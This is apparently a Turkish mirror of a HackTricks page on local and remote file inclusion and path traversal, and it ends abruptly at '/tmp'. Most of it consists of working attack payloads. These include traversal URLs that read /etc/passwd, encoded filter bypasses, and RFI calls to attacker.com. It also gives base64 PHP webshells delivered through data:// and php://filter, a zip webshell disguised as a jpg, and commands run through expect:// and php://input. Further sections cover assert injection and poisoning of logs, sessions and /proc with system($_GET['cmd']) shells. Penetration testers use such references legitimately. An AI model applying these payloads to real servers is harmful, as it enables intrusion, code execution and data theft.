.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
Dosya Dahil Etme/Yol Geçişi
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- [The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
- Katılın 💬 Discord grubumuza veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek.
![](/Mirrors/hacktricks/media/commit/b6bf9b5f50c73ba1fb99ceddb65f9012d1325451/.gitbook/assets/image%20%28380%29.png)
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hackleme İçgörüleri
Hackleme heyecanına ve zorluklarına inen içeriklerle etkileşime girin
Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
En Son Duyurular
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin
Bize katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!
Dosya Dahil Etme
Uzak Dosya Dahil Etme (RFI): Dosya uzak sunucudan yüklenir (En İyi: Kodu yazabilir ve sunucu onu yürütür). Php'de bu varsayılan olarak devre dışı bırakılmıştır (allow_url_include).
Yerel Dosya Dahil Etme (LFI): Sunucu yerel bir dosyayı yükler.
Bu zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebildiği durumlarda meydana gelir.
Zarar görebilecek PHP fonksiyonları: require, require_once, include, include_once
Bu zafiyeti sömürmek için ilginç bir araç: https://github.com/kurobeats/fimap
Kör - İlginç - LFI2RCE dosyaları
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Çeşitli *nix LFI listelerini karıştırarak ve daha fazla yol ekleyerek şunu oluşturdum:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Ayrıca /
yerine \
kullanmayı deneyin
Ayrıca ../../../../../
eklemeyi deneyin
Dosya /etc/password'ü bulmak için çeşitli teknikler kullanan bir liste burada bulunabilir.
Windows
Farklı kelime listelerinin birleşimi:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Ayrıca /
yerine \
kullanmayı deneyin
Ayrıca C:/
'yi kaldırıp ../../../../../
eklemeyi deneyin
Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste burada bulunabilir.
OS X
Linux'un LFI listesini kontrol edin.
Temel LFI ve bypasslar
Tüm örnekler Yerel Dosya Dahil etme için olsa da Uzak Dosya Dahil etme için de uygulanabilir (sayfa=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sıralama dizileri yinelemesiz olarak kaldırıldı
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Verilen dizenin sonuna daha fazla karakter ekleyerek atlayın (atlatma: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Bu, PHP 5.4'ten beri çözülmüştür
Kodlama
Çift URL kodlaması gibi standart olmayan kodlamaları kullanabilirsiniz:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Var olan klasörden
Belki de arka uç, klasör yolunu kontrol ediyor:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Sunucudaki Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, belirli teknikleri kullanarak sadece dosyaları değil, dizinleri de tanımlamak için rekürsif olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Aşağıda bunu başarmak için detaylı bir yöntem bulunmaktadır:
- Dizin Derinliğini Belirleme: Mevcut dizinin derinliğini belirleyin ve
/etc/passwd
dosyasını başarılı bir şekilde alarak (sunucu Linux tabanlı ise geçerlidir) dizin derinliğinizi belirleyin. Bir örnek URL aşağıdaki gibi yapılandırılmış olabilir ve üç derinlik seviyesini gösterebilir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Klasörleri Araştırma: Şüphelenilen klasörün adını (örneğin,
private
) URL'ye ekleyin, ardından/etc/passwd
dizinine geri gidin. Ek klasör seviyesi, derinliği bir artırmayı gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Sonuçları Yorumlayın: Sunucunun yanıtı, klasörün varlığını gösterir:
- Hata / Çıktı Yok:
private
klasörünün belirtilen konumda muhtemelen mevcut olmadığını gösterir. /etc/passwd
Dosyasının İçeriği:private
klasörünün varlığı doğrulanmıştır.
- Hata / Çıktı Yok:
- Rekürsif Keşif: Keşfedilen klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.
Dosya sisteminde farklı konumlardaki dizinleri keşfetmek için yükü uygun şekilde ayarlayın. Örneğin, /var/www/
dizininde private
adlı bir dizin bulunup bulunmadığını kontrol etmek için (mevcut dizinin derinliğinin 3 olduğunu varsayarak) kullanın:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Yol Kısaltma Tekniği
Yol kısaltma, web uygulamalarındaki dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini atlayarak kısıtlanmış dosyalara erişmek için kullanılır. Amacı, güvenlik önlemi tarafından değiştirildiğinde hala istenilen dosyaya işaret eden bir dosya yolunu oluşturmaktır.
PHP'de, bir dosya yolunun çeşitli temsilleri, dosya sisteminin doğası gereği eşdeğer kabul edilebilir. Örneğin:
/etc/passwd
,/etc//passwd
,/etc/./passwd
ve/etc/passwd/
tümü aynı yol olarak işlenir.- Son 6 karakter
passwd
ise, bir/
eklemek (passwd/
yapmak) hedeflenen dosyayı değiştirmez. - Benzer şekilde, bir dosya yoluna
.php
eklenirse (örneğinshellcode.php
), sonuna/.
eklemek erişilen dosyayı değiştirmez.
Sağlanan örnekler, /etc/passwd
'ye erişmek için yol kısaltmayı nasıl kullanacağınızı göstermektedir, bu hassas içeriğe sahip yaygın bir hedefdir (kullanıcı hesap bilgileri):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Bu senaryolarda, gereken geçiş sayısı yaklaşık olarak 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
- Nokta Segmentleri ve Ek Karakterler Kullanma: Geçiş dizileri (
../
), ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, sunucu tarafından eklenen dizeleri etkisiz hale getirerek istenilen yolun (/etc/passwd
) korunduğundan emin olunabilir. - Gerekli Geçiş Sayısının Belirlenmesi: Deneme yanılma yoluyla, kök dizinine ve ardından
/etc/passwd
'ye gezinmek için gereken../
dizilerinin kesin sayısını bulabilir ve herhangi bir eklenen dizenin (örneğin.php
) etkisiz hale getirildiğinden emin olabilirsiniz. - Sahte Bir Dizinle Başlamak: Yolun var olmayan bir dizinle başlatılması (örneğin
a/
) yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığını karşılamak için kullanılır.
Yol kırpma tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamanız önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapmak gerekir.
Bu zayıflık PHP 5.3'te düzeltildi.
Filtre atlatma hileleri
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Uzak Dosya Dahil Etme
Php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü allow_url_include
Kapalıdır. Çalışması için Açık olmalıdır ve bu durumda sunucunuzdan bir PHP dosyasını dahil edebilir ve RCE elde edebilirsiniz:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Eğer bir nedenden dolayı allow_url_include
etkinse, ancak PHP dış web sayfalarına erişimi filtreliyorsa, bu yazıya göre, örneğin base64 ile kodlanmış bir b64 PHP kodunu çözmek ve RCE elde etmek için data protokolünü kullanabilirsiniz:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
Önceki kodda, son +.txt
eklenmiştir çünkü saldırganın .txt
ile biten bir dizeye ihtiyacı vardı, böylece dize onunla biter ve b64 decode işleminden sonra o kısım sadece gereksiz veri dönecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, yürütülecek).
{% endhint %}
php://
protokolünü kullanmayan başka bir örnek şöyle olabilir:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Python Kök öğesi
Python'da şu gibi bir kodda:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Eğer kullanıcı file_name
'e mutlak bir yol geçirirse, önceki yol sadece kaldırılır:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Aşağıdaki, belgelerde belirtildiği gibi amaçlanan davranıştır:
Bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
Java Dizinleri Listeleme
Java'da bir Yol Geçişi (Path Traversal) olduğunda ve bir dosya yerine bir dizin istendiğinde, dizin listesi döndürülür. Bu diğer dillerde (bildiğim kadarıyla) gerçekleşmeyecektir.
En İyi 25 Parametre
İşte yerel dosya dahil etme (LFI) açıklıklarına karşı savunmasız olabilecek en iyi 25 parametre listesi (bağlantıdan):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
PHP sargılayıcıları ve protokollerini kullanarak LFI / RFI
php://filter
PHP filtreleri, veriler üzerinde temel değiştirme işlemlerini gerçekleştirmeyi sağlar. 5 kategoriye ayrılırlar:
- Dize Filtreleri:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Veriden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)- Bu filtre modern PHP sürümlerinden kaybolmuştur
- Dönüşüm Filtreleri
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Farklı bir kodlamaya dönüştürür (convert.iconv.<giriş_kodlama>.<çıkış_kodlama>
). Desteklenen tüm kodlamaların listesini almak için konsolda çalıştırın:iconv -l
{% hint style="warning" %}
convert.iconv.*
dönüşüm filtresini kötüye kullanarak keyfi metin oluşturabilirsiniz, bu da keyfi metin yazmak veya keyfi metin işleme işlevi oluşturmak için yararlı olabilir. Daha fazla bilgi için php filtreleri aracılığıyla LFI2RCE'ye bakın.
{% endhint %}
- Sıkıştırma Filtreleri
zlib.deflate
: İçeriği sıkıştırır (çok fazla bilgiyi dışarı çıkarmak için kullanışlıdır)zlib.inflate
: Veriyi açar- Şifreleme Filtreleri
mcrypt.*
: Kullanımdan kaldırıldımdecrypt.*
: Kullanımdan kaldırıldı- Diğer Filtreler
var_dump(stream_get_filters());
komutunu çalıştırarak php'de birkaç beklenmeyen filtre bulabilirsiniz:consumed
dechunk
: HTTP parçalı kodlamayı tersine çevirirconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} "php://filter" kısmı harf büyüklüğüne duyarsızdır {% endhint %}
Php filtrelerini rastgele dosyaları okumak için oracle olarak kullanma
Bu yazıda sunucudan geri dönen çıktı olmadan yerel bir dosyayı okumak için bir teknik önerilmektedir. Bu teknik, php filtrelerini oracle olarak kullanarak dosyayı (karakter karakter) okuma üzerine kuruludur. Bu, php filtrelerinin bir metni yeterince büyük yapmak için kullanılabileceği ve php'nin bir istisna fırlatmasına neden olabileceği gerçeğine dayanmaktadır.
Orijinal yazıda teknik hakkında detaylı bir açıklama bulabilirsiniz, ancak işte hızlı bir özet:
- Metnin başındaki karakteri bırakmak için
UCS-4LE
kodlamasını kullanın ve dize boyutunu üssel olarak artırın. - Bu, başlangıç harfi doğru tahmin edildiğinde php'nin bir hata fırlatacağı kadar büyük bir metin oluşturmak için kullanılacaktır
- Dechunk filtresi, ilk karakterin onaltılık olmadığını belirlerse her şeyi kaldırır, bu nedenle ilk karakterin onaltılık olup olmadığını bilebiliriz.
- Bu, öncekiyle birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemize izin verecektir. Çünkü eğer onaltılıksa, dechunk onu silmeyecek ve başlangıç bombası php hatasına neden olacaktır.
- convert.iconv.UNICODE.CP930 kodlayıcısı her harfi bir sonraki harfe dönüştürür (bu nedenle bu kodlayıcıdan sonra: a -> b). Bu, örneğin ilk harfin
a
olup olmadığını keşfetmemizi sağlar çünkü 6 kez bu kodlayıcıyı uygularsak a->b->c->d->e->f->g harf artık onaltılık bir karakter olmaz, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile çarpışır. - Başlangıçta rot13 gibi diğer dönüşümleri kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer kodlayıcılar diğer harfleri onaltılık aralığa taşımak için kullanılabilir).
- Başlangıç karakteri bir sayı olduğunda, bunu base64 kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
- Daha fazla veri sızdırmak için başlangıçta 2 byte'lık gereksiz veri oluşturmak ve UCS-4LE uygulayarak bunu bir sonraki 2 byte ile birleştirmek ve gereksiz veriye kadar veriyi silmek gereklidir (bu, başlangıç metninin ilk 2 byte'ını kaldıracaktır). Bu istenen bit'e ulaşana kadar bunu yapmaya devam edin.
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç de sızdırıldı: php_filters_chain_oracle_exploit.
php://fd
Bu sarmalayıcı, işlemin açık olan dosya tanımlayıcılarına erişim sağlar. Açık dosyaların içeriğini sızdırmak için potansiyel olarak kullanışlı olabilir:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Ayrıca php://stdin, php://stdout ve php://stderr kullanarak sırasıyla dosya tanımlayıcıları 0, 1 ve 2'ye erişebilirsiniz (bu nasıl bir saldırıda kullanılabilir emin değilim)
zip:// ve rar://
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.
Rar protokolünü istismar edebilmek için özellikle etkinleştirilmesi gerekir.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
data://, veri dosyalarını içe aktarmak için kullanılan bir URI şemasıdır. Bu şema, web uygulamalarında dosya içe aktarma saldırıları gerçekleştirmek için kullanılabilir. Saldırgan, veri dosyalarını hedef uygulamaya içe aktararak hassas bilgilere erişebilir veya kötü amaçlı kodları yürütebilir. Bu nedenle, web uygulamalarının veri:// URI şemasını kabul etmemesi veya doğru bir şekilde işlemesi önemlidir.
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Bu protokolün php yapılandırmaları tarafından kısıtlandığını unutmayın allow_url_open
ve allow_url_include
expect://
Expect etkinleştirilmelidir. Bunu kullanarak kodu yürütebilirsiniz:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST parametrelerindeki yükünüzü belirtin:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Bir .phar
dosyası, bir web uygulaması dosya yükleme için include
gibi işlevleri kullandığında PHP kodunu yürütmek için kullanılabilir. Aşağıdaki PHP kod parçacığı, bir .phar
dosyasının nasıl oluşturulacağını göstermektedir:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar
dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:
php --define phar.readonly=0 create_path.php
Yürütüldüğünde, test.phar
adında bir dosya oluşturulur, bu da Potansiyel olarak Yerel Dosya Dahil Etme (LFI) güvenlik açıklarını sömürmek için kullanılabilir.
LFI'nin yalnızca PHP kodunu çalıştırmadan dosya okuma işlemi gerçekleştirdiği durumlarda, file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
veya filesize()
gibi işlevler aracılığıyla, bir deserializasyon güvenlik açığı sömürülebilir. Bu güvenlik açığı, dosyaların phar
protokolü kullanılarak okunmasıyla ilişkilidir.
.phar
dosyalarının bağlamında deserializasyon güvenlik açıklarını sömürme konusunda detaylı bir anlayış için aşağıdaki belgeye başvurun:
Phar Deserialization Exploitation Guide
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Daha fazla protokol
Daha fazla olası buraya dahil edilebilecek protokoller'ı kontrol edin:
- php://memory ve php://temp — Bellekte veya geçici bir dosyada yazma (bu bir dosya dahil etme saldırısında nasıl kullanışlı olabileceğinden emin değilim)
- file:// — Yerel dosya sistemine erişim
- http:// — HTTP(s) URL'lerine erişim
- ftp:// — FTP(s) URL'lerine erişim
- zlib:// — Sıkıştırma Akışları
- glob:// — Deseni eşleşen dosya yollarını bulma (Yazdırılabilir bir şey döndürmediği için burada gerçekten kullanışlı değil)
- ssh2:// — Güvenli Kabuk 2
- ogg:// — Ses akışları (Keyfi dosyaları okumak için kullanışlı değil)
PHP'nin 'assert' İle LFI
PHP'de Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kodu yürütebilen 'assert' işleviyle uğraşırken özellikle yüksektir. Bu özellikle, dizin gezintisi karakterleri içeren (örneğin "..") girişlerin kontrol edildiği ancak uygun şekilde temizlenmediği durumlarda sorun oluşturabilir.
Örneğin, PHP kodu, dizin gezintisini önlemek için aşağıdaki gibi tasarlanmış olabilir:
assert("strpos('$file', '..') === false") or die("");
Bu, traversal'ı durdurmayı amaçlasa da, yanlışlıkla kod enjeksiyonu için bir vektör oluşturur. Dosya içeriğini okumak için bunu sömürmek için bir saldırgan şunları kullanabilir:
' and die(highlight_file('/etc/passwd')) or '
Benzer şekilde, keyfi sistem komutlarını yürütmek için şunu kullanabilirsiniz:
' and die(system("id")) or '
Payloadları URL kodlamak önemlidir.
![](/Mirrors/hacktricks/media/commit/b6bf9b5f50c73ba1fb99ceddb65f9012d1325451/.gitbook/assets/image%20%28380%29.png)
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking İçgörüleri
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
En Son Duyurular
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin
Bize katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!
PHP Kör Yol Geçişi
{% hint style="warning" %}
Bu teknik, bir dosyaya erişecek bir PHP işlevinin dosya yolunu kontrol ettiğiniz ancak dosyanın içeriğini görmeyeceğiniz durumlarda önemlidir (örneğin basit bir file()
çağrısı gibi) ancak içerik gösterilmez.
{% endhint %}
Bu inanılmaz yazıda kör yol geçişinin bir PHP filtresi aracılığıyla nasıl kötüye kullanılabileceği açıklanmaktadır ve bir hata orak aracılığıyla bir dosyanın içeriğinin dışa aktarılması sağlanmaktadır.
Özetle, teknik dosyanın içeriğini büyük yapmak için "UCS-4LE" kodlamasının kullanılmasıdır, böylece dosyayı açan PHP işlevi bir hata oluşturacaktır.
Ardından, ilk karakterin sızdırılması için dechunk
filtresi kullanılırken diğer filtreler arasında base64 veya rot13 ve son olarak convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE filtreleri kullanılarak diğer karakterlerin başına yerleştirilmesi ve sızdırılması sağlanır.
Zarar görebilecek işlevler: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (yalnızca bununla salt okunur hedef)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Teknik detaylar için belirtilen yazıya bakın!
LFI2RCE
Uzak Dosya Dahil Etme
Daha önce açıklandığı gibi, bu bağlantıyı takip edin.
Apache/Nginx günlük dosyası üzerinden
Eğer Apache veya Nginx sunucusu LFI'ye karşı savunmasızsa dahil etme işlevi içinde /var/log/apache2/access.log
veya /var/log/nginx/access.log
'a erişmeyi deneyebilir, kullanıcı ajanı içine veya bir GET parametresi içine <?php system($_GET['c']); ?>
gibi bir php shell yerleştirebilir ve o dosyayı dahil edebilirsiniz
{% hint style="warning" %} Shell için basit tırnaklar yerine çift tırnaklar kullanırsanız, çift tırnaklar "tırnak;" dizesi için değiştirilecek, PHP orada bir hata fırlatacak ve başka bir şey yürütülmeyecek.
Ayrıca, payload'ı doğru şekilde yazdığınızdan emin olun, aksi takdirde PHP her log dosyasını yüklemeye çalıştığında hata alacak ve ikinci bir fırsatınız olmayacaktır. {% endhint %}
Bu ayrıca diğer günlük dosyalarında da yapılabilir ancak dikkatli olun, günlük dosyasındaki kod URL kodlanmış olabilir ve bu Shell'i yok edebilir. Yetkilendirme "basic" başlığı Base64'te "kullanıcı:şifre" içerir ve günlüklerde çözülür. PHPShell bu başlığın içine yerleştirilebilir.
Diğer olası günlük yolları:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing kelime listesi: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
E-posta Aracılığıyla
Bir e-posta gönderin ve PHP yükünüzü içeren bir iç hesap (user@localhost) (örneğin <?php echo system($_REQUEST["cmd"]); ?>
) ve kullanıcının e-postasına şu şekilde dahil etmeyi deneyin: /var/mail/<KULLANICI ADI>
veya /var/spool/mail/<KULLANICI ADI>
/proc/*/fd/* Aracılığıyla
- Birçok shell yükleyin (örneğin: 100)
- http://example.com/index.php?page=/proc/$PID/fd/$FD adresini dahil edin, burada $PID = işlemin PID'si (kaba kuvvet uygulanabilir) ve $FD dosya tanımlayıcısıdır (bu da kaba kuvvet uygulanabilir)
/proc/self/environ Aracılığıyla
Bir günlük dosyası gibi, yükü User-Agent içinde gönderin, bu /proc/self/environ dosyasının içinde yansıtılacaktır
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Yükleme yoluyla
Bir dosya yükleyebiliyorsanız, sadece kabuk yüklemesini içine enjekte edin (ör. : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Dosyayı okunabilir tutmak için en iyi yol resimlerin/dokümanın/pdf'nin metaverisine enjekte etmektir
Zip dosyası yükleme yoluyla
PHP kabuğu içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP oturumları aracılığıyla
Websitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP'de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Aşağıdaki kodu kullanarak çerez değerini <?php system('cat /etc/passwd');?>
olarak ayarlayın:
<?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
PHP oturum dosyasını dahil etmek için LFI'ı kullanın.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
SSH üzerinden
Eğer ssh etkinse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi deneyin.
vsftpd günlükleri üzerinden
FTP sunucusu vsftpd için günlükler /var/log/vsftpd.log konumundadır. Bir Yerel Dosya Dahil Etme (LFI) zafiyeti mevcut olduğu senaryoda ve açık bir vsftpd sunucusuna erişim sağlanabildiği durumda, aşağıdaki adımlar düşünülebilir:
- Giriş işlemi sırasında kullanıcı adı alanına bir PHP yüklemesi enjekte edin.
- Enjeksiyondan sonra, LFI'ı kullanarak /var/log/vsftpd.log konumundaki sunucu günlüklerini alın.
PHP base64 filtresi üzerinden (base64 kullanarak)
Şu makalede gösterildiği gibi, PHP base64 filtresi sadece Base64 dışındakileri yok sayar. Dosya uzantısı kontrolünü atlatmak için bunu kullanabilirsiniz: Eğer ".php" ile biten bir base64 sağlarsanız, sadece "." işaretini yok sayacak ve base64'e "php" ekleyecektir. İşte bir örnek yük:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Php filtreleri aracılığıyla (dosya gerekli değil)
Bu makale, php filtrelerini kullanarak keyfi içerik oluşturabileceğinizi açıklar. Bu temelde, bir dosyaya yazmadan dahil etmek için keyfi php kodu oluşturabilirsiniz.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Segmentasyon hatası aracılığıyla
/tmp
